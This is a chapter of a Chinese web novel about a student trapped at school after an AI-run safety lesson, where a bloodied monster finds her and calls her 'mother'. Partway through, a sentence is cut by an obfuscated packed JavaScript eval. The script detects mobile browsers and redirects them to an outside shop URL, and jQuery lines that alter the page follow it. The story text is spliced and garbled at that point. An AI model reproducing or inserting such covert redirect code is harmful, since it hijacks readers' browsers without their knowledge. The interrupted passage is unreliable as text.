12.怪物

作品:《如何成为怪物们的母神?

    安全教育结束时,已经八点十分了。


    露娜从校园管家创造的全息空间脱出时,依然难以掩饰其带来的巨大冲击。要知道,在全息世界里,发生的一切对于体验者的大脑来说都和真的无异。


    她很难用文字或语言形容自己遭受了什么。某些情绪被强制性地从她脑海中剥离,她不再成为自己大脑的主人,变得麻木和无力。即便她知道人的大脑只不过是个更精确的机器,人所谓的一切思考都只是大脑想让你体会到的一种知觉,人感受到的一切也不过是大脑想让你感受到的,并不是真实。人工智能离真实比人类更近,人类所见的一切是虚造的……


    等等,她为什么知道这些……?等等,这些是真的吗……?


    她觉得大脑有些发涨,这些是我原本脑海里存在的东西吗?我曾经是这么想的吗?


    芭芭拉.克拉斯蒂瓦用力拍了下她的背部。露娜脸上还挂着茫然的表情。


    “醒醒,别太陷进去了。不好受,是吧?”


    露娜还有些没回过神来,遵循直觉点了点头。


    “哼哼,就是这样就对了。要是好受,它们会觉得你不能够吸取教训。只有感到不好受,你才会遵守规则。”


    露娜花费了一些时间重新理清自己的脑子。


    好可怕的人工智能……这么久以来,露娜第一次真切地感受到人工智能的超前发展与恐怖之处。在这之前,她一直觉得这个世界的科技发展似乎只是将手机变得无实体,网络世界更加快速和庞大,并半迈入了全息领域。由于种种法规的限制,以及多种人权方面的考虑,人工智能受到的约束比以往更甚,她没有感受到在现实生活中人工智能带来了革命式的变化,某些地方甚至还有退步的感受。


    直到今天……她突然感到有些不寒而栗。能够读取你脑海中的想法来为你创造虚拟世界,又怎么会做不到修改你的大脑感知呢?


    “走吧,回去了。你家也住在附近吧?我没记错的话。”芭芭拉.克拉斯蒂瓦背上了她的书包。


    “离这不远。但你没记错的话是什么意思?”露娜有些疑惑。


    “安德家就在附近吧,一个半街道外?”


    “你……”


    “我怎么会知道?因为原来加布里埃拉.安德邀请我去过她的生日派对,在她家里办的。”


    又听到了这个名字。


    “别误会,我和她不熟,但她那种妞儿的生日会肯定搞得风风光光邀请很多人,我要是不去的话岂不是显得我很不受欢迎?”芭芭拉.克拉斯蒂瓦补充。


    露娜默默把加布里埃拉.安德的形象在心中更新了。芭芭拉.克拉斯蒂瓦和拉斐尔.布朗看上去都很受欢迎,加布里埃拉.安德过去想必和他们是一种圈层的。漂亮外向的优绩高阶层富家女孩,也许。


    “今天有点晚了,不过被留堂的话校园管家会监控你智脑的行进路线,出现意外的话会立刻上报并做出处理措施。不用太担心因为回去晚遇见危险。而且我们的街区挺安全。当然,我们最好还是一起走,免得出意外。”


    我们的街区。“你也住在附近?”露娜问,两人已经走到了教室门口。


    “都在学校附近。”芭芭拉说,“奇怪,校园管家怎么没有给我们开门?”


    “嗨嗨?在吗?到时间该给我们开门啦?”芭芭拉对着空气挥了挥手,无事发生,甚至没有声音响起。


    露娜感到些许不妙,芭芭拉扭头和她短暂地对视了几秒。


    “唔……”芭芭拉陷入沉思。


    “这种情况常见吗?”露娜忍不住问。


    “什么情况?”


    “像这样,人工智能突然陷入沉默。”


    “……你是反人工智能派?”


    “什么?……不,我只是……觉得它们的漏洞似乎有点常见和频繁。”


    “嗯哼?”芭芭拉一边伸手在门上摸索,一边用气音回复露娜:“常见和频繁?”


    “……没什么。”露娜移开了话题。


    芭芭拉也从门前放手:“打不开呢。现在怎么办?”


    “你的手……你的智脑可以联网了吗?”露娜问,她检查了一下自己的智脑,依然是没有网络的状态。


    “联网?你是说数据流?”芭芭拉也开始检查她的智脑:“好复古的用词。不行啊,禁闭室里都不能连接数据流吧。”


    昨日重现。无法联络到外界的封闭的房间。这个年头甫一在脑海中出现,露娜方才已经出现过一次的惊恐发作似乎又开始了。她的呼吸不由自主地变得急促。


    “喂,你没事吧?”露娜听见芭芭拉向她走来。


    某种撞击声在她脑海里回响。她甚至没站稳,原地踉跄了一下,跌坐在一旁的座椅上。


    惊恐发作居然会伴随幻觉和幻听吗?撞击声再次响起,地面的震动感也又一次传来。露娜不适地大口呼吸。


    紧接着,她看着芭芭拉也站立不稳地跌倒在原地,脑子还有些茫然。


    为什么芭芭拉也摔倒了……?震动不是幻觉?那响声呢?露娜觉得自己似乎进入了某种奇异的状态之中,她有些……迷幻。耳鸣,眼前也略有些昏花,呕吐和晕眩的感觉不断加强。


    是惊恐发作了。她的大脑这么告诉自己。然而,胸腔中不断振动,越来越强烈的某种无法解读的情绪,以及眼前跌倒的芭芭拉,又在告诉她事情远不止于此。


    “轰”的又一声巨响,不管是不是幻听,露娜还是下意识地看向了声音的来源。


    ——门开了。


    不是从内部被打开的,而是从外部以一种暴力的方式被破坏。始作俑者站在门口,猩红的眼睛正正好和望向声源的露娜对上。


    这双眼睛的主人的手中,还握着一个人。人本不应该和握这样的词汇组合在一起,此刻却是露娜能联想到的最合适的词汇。那是个学生,还是老师?


    她的发丝如血一般黏着在脸颊旁,也已经被血染成了深红褐色;她的眼睛没有闭上,但已经被血糊住,彻底看不清瞳孔;同样的还有她的脸,那张脸上是什么表情?露娜不知道,她全部能在那张脸上看见的只有血污。


    它的嘴里发出“嗬嗬”的粗喘声,她还没有死。


    她是尤丽叶特,自己的学术顾问。露娜的大脑向她传递了这个消息。真是奇怪啊,明明看不清脸,也没有听见熟悉的人声,自己却立刻如此笃定,那就是尤丽叶特。


    大脑仿佛某个在缓慢停止工作的器械,不再高效转动,露娜只能够迟钝地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750511|188880||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    思考,花费仿佛有一辈子那么长的时间去处理和解析信息。


    它找上门了。


    那在爱德华身上留下标记的血液的拥有者,终于找到了露娜。它的速度居然如此之快,没有给露娜反应的时机。


    不,不对……自己在昨日明明应该惊恐的,明明应该在发现不对后采取行动的,明明应该,明明……可最后为什么那么平淡地让一切过去了?她已经读到了血液里的文字了不是吗?她已经明白对方是来找她的了不是吗?为什么?为什么就好像一切都不曾发生,没有任何异常一样地继续了?


    露娜发出痛苦的喘息声,像动物溺水后首次浮出水面后的第一口深呼吸,带着从溺亡中重新回归人世的庆幸和肺部无法控制的疼痛。


    她太愚蠢了……那血色的文字影响了她……她早该想到的,她只从中读取到了呼唤和追寻。是因为别的信息被掩盖了,是因为那血液想要传递的别的信息就是让露娜忘却掉这一切的异样,以至不去反抗和逃跑。


    她发现得太迟钝了。她的视线几乎是被迫地从不知道还有没有生路的尤丽叶特身上移开,再次和那双猩红的双眼对上。


    她从中看出了……笑意和喜悦。


    成功欺骗了她,让她未能从不对劲的麻木中脱出的喜悦,以及……找到了她的无上欢欣。


    她听见它用眼睛说话。它们都用眼睛说话,这是怪物们的沟通法则。它对她说:


    “你终于来了,我们等你很久了,母亲。”


    露娜的泪水不受控制地流出,发出小兽被扼住咽喉一样痛苦的呜咽。它的话,它们的话……这一切都不是幻觉,从来不是。


    初次的降临时,那个困住了她的房间,那被捧在手中的头颅,睁开的那双眼。


    你终于来了,我们等你很久了,母亲。你终于来了,母亲,母亲。我们在等你,母亲。很久了,很久了,你来了你来了你来了母亲母亲母亲——


    来自它的通信被暴力地切断了。


    它被什么东西大力地敲击了一下,让它有片刻的踉跄。做出这个举动的那个人是拉拉队的队长,平日里足够灵活,只是这须臾的片刻,她已经拉住了露娜的手,两个人一起撞开了它向外狂奔。


    其实它不会被这样轻松地撞开的。但相遇的瞬间,露娜在心里爆发出的话语被它访问了。


    走开!走开!走开!


    全然是下意识地逃避,无意识的内心低语,但它接收到了。


    母亲的话将是刻在其灵魂上的命令,不仅是词语,而是一种没有讨论余地的要求与声明,从发出的那刻起,不遵守此种规定的物种和灵魂将被驱逐。


    它懵懵地,茫然地停住了。当母亲被人牵着手冲向它时,它知道没有时间思考,它必须要让开,否则撞在它身上的话,母亲会受伤的。


    它的躯壳太坚硬了。


    这是母亲让它走开的原因吗?


    它就这样如同提着一个沙袋一样提着一个生死未知的人,“一言不发”地注视着母亲被拖拽着离开,中途还差一点点摔倒在地。有些疑惑,有些伤心。但那些情绪都因为缺少了母亲的注视而再次无人问津。


    没有母亲,它们都只是无人能解的谜题,永世无法被读懂的怪物。